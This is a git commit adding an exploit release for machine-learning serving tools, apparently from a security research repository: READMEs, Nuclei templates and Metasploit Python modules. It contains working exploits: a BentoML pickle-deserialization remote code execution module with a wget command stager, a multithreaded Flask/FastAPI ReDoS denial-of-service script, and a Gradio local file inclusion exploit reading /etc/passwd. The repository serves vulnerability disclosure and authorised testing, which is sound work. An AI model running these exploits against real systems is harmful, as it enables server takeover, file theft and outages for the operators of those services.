Merge pull request #11 from protectai/april_release

April exploit release
main
Dan McInerney 2024-05-07 12:25:18 -04:00 committed by GitHub
commit 13819da19f
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
8 changed files with 505 additions and 0 deletions

26
bentoml/README.md Normal file
View File

@ -0,0 +1,26 @@
# BentoML Vulnerabilities and Exploits
BentoML is a model serving framework that offers a unified standard for AI inference, model packaging, and serving optimizations.
## Vulnerabilities
### Remote Code Execution
- **Description**: BentoML < 1.2.5 is vulnerable to RCE via Python object deserialization.
- **Impact**: This vulnerability could allows an attacker to gain Remote Code Execution on the server running the BentoML inference server.
## Reports
- **@pinkdraconian**: https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68
## Disclaimer
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
## Contribution
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
## License
All exploits and templates in this repository are released under the Apache 2.0 License.

29
bentoml/bentoml-rce.yaml Normal file
View File

@ -0,0 +1,29 @@
id: bentoml-rce
info:
name: BentoML Insecure Deserialization RCE Simulation
author: DanMcInerney, byt3bl33d3r, pinkdraconian
severity: critical
description: Simulates an insecure deserialization attack on BentoML to trigger remote code execution. Binary data is string "protectai" pickled.
reference:
- https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-1188 # Insecure Default Initialization of Resource
tags: bentoml, rce, deserialization, protectai, huntr, ai, machine-learning
requests:
- method: POST
path:
- "{{BaseURL}}/summarize"
headers:
Content-Type: "application/vnd.bentoml+pickle"
body: !!binary |
gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAlwcm90ZWN0YWmUhZRSlC4=
matchers-condition: and
matchers:
- type: word
words:
- "Input should be a valid dictionary or instance of Input"
part: body

109
bentoml/bentoml_pickle_rce.py Executable file
View File

@ -0,0 +1,109 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
import pickle
import os
from urllib.parse import urljoin
from metasploit import module
# extra modules
dependencies_missing = False
try:
import requests
except ImportError:
dependencies_missing = True
metadata = {
'name': 'BentoML Pickle RCE',
'description': '''
RCE in BentoML (=< 1.2.5) through pickle deserialization.
''',
'authors': [
'pinkdraconian', # Vulnerability discovery
'byt3bl33d3r <marcello@protectai.com>' # MSF module
],
'rank': 'excellent',
'date': '2024-02-06',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68'},
{'type': 'cve', 'ref': 'CVE-2024-2912'}
],
'type': 'remote_exploit_cmd_stager',
'targets': [
{'platform': 'linux', 'arch': 'aarch64'},
{'platform': 'linux', 'arch': 'x64'},
{'platform': 'linux', 'arch': 'x86'}
],
'default_options': {
'MeterpreterTryToFork': True
},
'payload': {
'command_stager_flavor': 'wget'
},
'options': {
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'echo "Hello from Metasploit"'},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 3000},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False},
'api_endpoint': {'type': 'string', 'description': 'The BentoML API endpoint to send the request to', 'required': True, 'default': '/summarize'}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
class P(object):
def __reduce__(self):
return (os.system,(args['command'],))
full_url = f"{base_url}" + args['api_endpoint']
logging.info(f"Sending request to {full_url}")
r = requests.post(
full_url,
pickle.dumps(P()), headers={"Content-Type": "application/vnd.bentoml+pickle"}
)
logging.debug(f"{r.status_code} - {r.text}")
if __name__ == '__main__':
module.run(metadata, run)

29
fastapi/README.md Normal file
View File

@ -0,0 +1,29 @@
# Flask/FastAPI Vulnerabilities and Exploits
Flask and FastAPI are vulnerable to a Regex Denial of Service (ReDoS).
The request needs to be submitted to a POST API endpoint that attempts the read the request body.
FastAPI is only vulnerable when processing Form data and not JSON.
## Vulnerabilities
### ReDOS
- **Description**: FastAPI < 0.109.0 is vulnerable to a ReDoS when preocessing form data. Flask is still vulnerable.
- **Impact**: An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources.
## Reports
- **@nicecatch2000**: https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/
## Disclaimer
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
## Contribution
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
## License
All exploits and templates in this repository are released under the Apache 2.0 License.

111
fastapi/flask_dos.py Executable file
View File

@ -0,0 +1,111 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
import concurrent.futures
from urllib.parse import urljoin
# extra modules
dependencies_missing = False
try:
import requests
from requests import Request, Session
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'Flask Content-Type ReDoS',
'description': '''
Flask is vulnerable to a Regex Denial of Service (ReDoS).
The request needs to be submitted to a POST API endpoint that attempts the read the request body.
''',
'authors': [
'nicecatch2000' # Vuln discovery
'byt3bl33d3r <marcello@protectai.com>' # MSF Module
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/'},
{'type': 'cve', 'ref': ''}
],
'type': 'dos',
'options': {
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 80},
'dos_threads': {'type': 'int', 'description': 'Max number of concurrent threads', 'required': True, 'default': 10},
'url_path': {'type': 'string', 'description': 'URL Path', 'required': False, 'default': '/'},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port' or type_to_convert == 'int':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def redos(url: str, worker_n: int):
logging.info(f"DoS thread {worker_n} started")
r = requests.post(
url,
data={"a": 1},
headers={
"Content-Type": 'application/x-www-form-urlencoded; !="{}'.format("\\" * 117)
},
timeout = 1
)
return r.status_code, r.text
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
MAX_WORKERS = args['dos_threads']
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
url = urljoin(base_url, args['url_path'])
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
future_to_index = {executor.submit(redos, url, i): i for i in range(0,MAX_WORKERS)}
done, not_done = concurrent.futures.wait(future_to_index, timeout=MAX_WORKERS)
logging.info("Completed, server should be unresponsive")
if __name__ == '__main__':
module.run(metadata, run)

26
gradio/README.md Normal file
View File

@ -0,0 +1,26 @@
# Gradio Vulnerabilities and Exploits
Gradio is the fastest way to demo your machine learning model with a friendly web interface so that anyone can use it.
## Vulnerabilities
### Local File Inclusion
- **Description**: Gradio < 4.3.0 is vulnerable to an LFI in the `/component_server` API endpoint.
- **Impact**: This vulnerability allows an attacker to read files off the filesystem remotely.
## Reports
- **@ozelis**: https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
## Disclaimer
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
## Contribution
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
## License
All exploits and templates in this repository are released under the Apache 2.0 License.

66
gradio/gradio-lfi.yaml Normal file
View File

@ -0,0 +1,66 @@
id: gradio-local-file-include
info:
name: Gradio Local File Read Vulnerability
author: ozelis, DanMcInerney
severity: high
description: This nuclei template checks for Local File Read vulnerability in Gradio applications.
reference:
- https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
- https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
classification:
cvss-score: 7.5
cwe-id: CWE-29
cve-id: CVE-2024-1561
tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr
requests:
- method: GET
path:
- "{{BaseURL}}/config"
extractors:
- type: json
part: body
name: component_id
internal: true
json:
- ".components[0].id"
- method: POST
path:
- "{{BaseURL}}/component_server"
headers:
Content-Type: application/json
body: |
{
"component_id": "{{component_id}}",
"data": "/etc/passwd",
"fn_name": "move_resource_to_block_cache",
"session_hash": "aaaaaaaaaaa"
}
extractors:
- type: regex
part: body
name: extracted_content
internal: true
group: 1
regex:
- "\"(.+)\""
- method: GET
path:
- "{{BaseURL}}/file={{extracted_content}}"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200

109
gradio/gradio_lfi.py Executable file
View File

@ -0,0 +1,109 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Metasploit external module
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
import logging
import re
# extra modules
dependencies_missing = False
try:
import requests
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'Gradio Local File Include Vulnerability',
'description': '''
Gradio applications are vulnerable to Local File Inclusion (LFI) via the component_server endpoint.
This module exploits the vulnerability to read arbitrary files from the target system.
''',
'authors': [
'Dan McInerney <danhmcinerney@gmail.com>',
'ozelis',
],
'rank': 'excellent',
'date': '2024-05-06',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338'},
{'type': 'cve', 'ref': 'CVE-2024-1561'}
],
'type': 'single_scanner',
'options': {
'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 7860},
'ssl': {'type': 'bool', 'description': 'Use SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Converts module options to their correct types.
'''
corrected_args = {}
for k, v in args.items():
option = metadata['options'].get(k)
if option:
type_to_convert = option['type']
if type_to_convert == 'bool':
corrected_args[k] = v.lower() == 'true'
elif type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
try:
with requests.Session() as s:
# Get app config to retrieve a valid component ID
rsp = s.get(f"{base_url}/config")
rsp.raise_for_status()
# Extract the first component ID from the configuration
component_id = rsp.json()["components"][0]["id"]
# Exploit the LFI vulnerability to get the file path
exploit_json = {
"component_id": component_id,
"data": args['filepath'],
"fn_name": "move_resource_to_block_cache",
"session_hash": "aaaaaaaaaaa"
}
rsp = s.post(f"{base_url}/component_server", json=exploit_json)
rsp.raise_for_status()
# Extract the temporary path and read the file
temp_path = re.findall(r'"(.*?)"', rsp.text)[0]
read_url = f"{base_url}/file={temp_path}"
rsp = s.get(read_url)
rsp.raise_for_status()
logging.info("File content:")
logging.info(rsp.text)
except requests.exceptions.RequestException as e:
logging.error(f"Request error: {str(e)}")
return
if __name__ == '__main__':
module.run(metadata, run)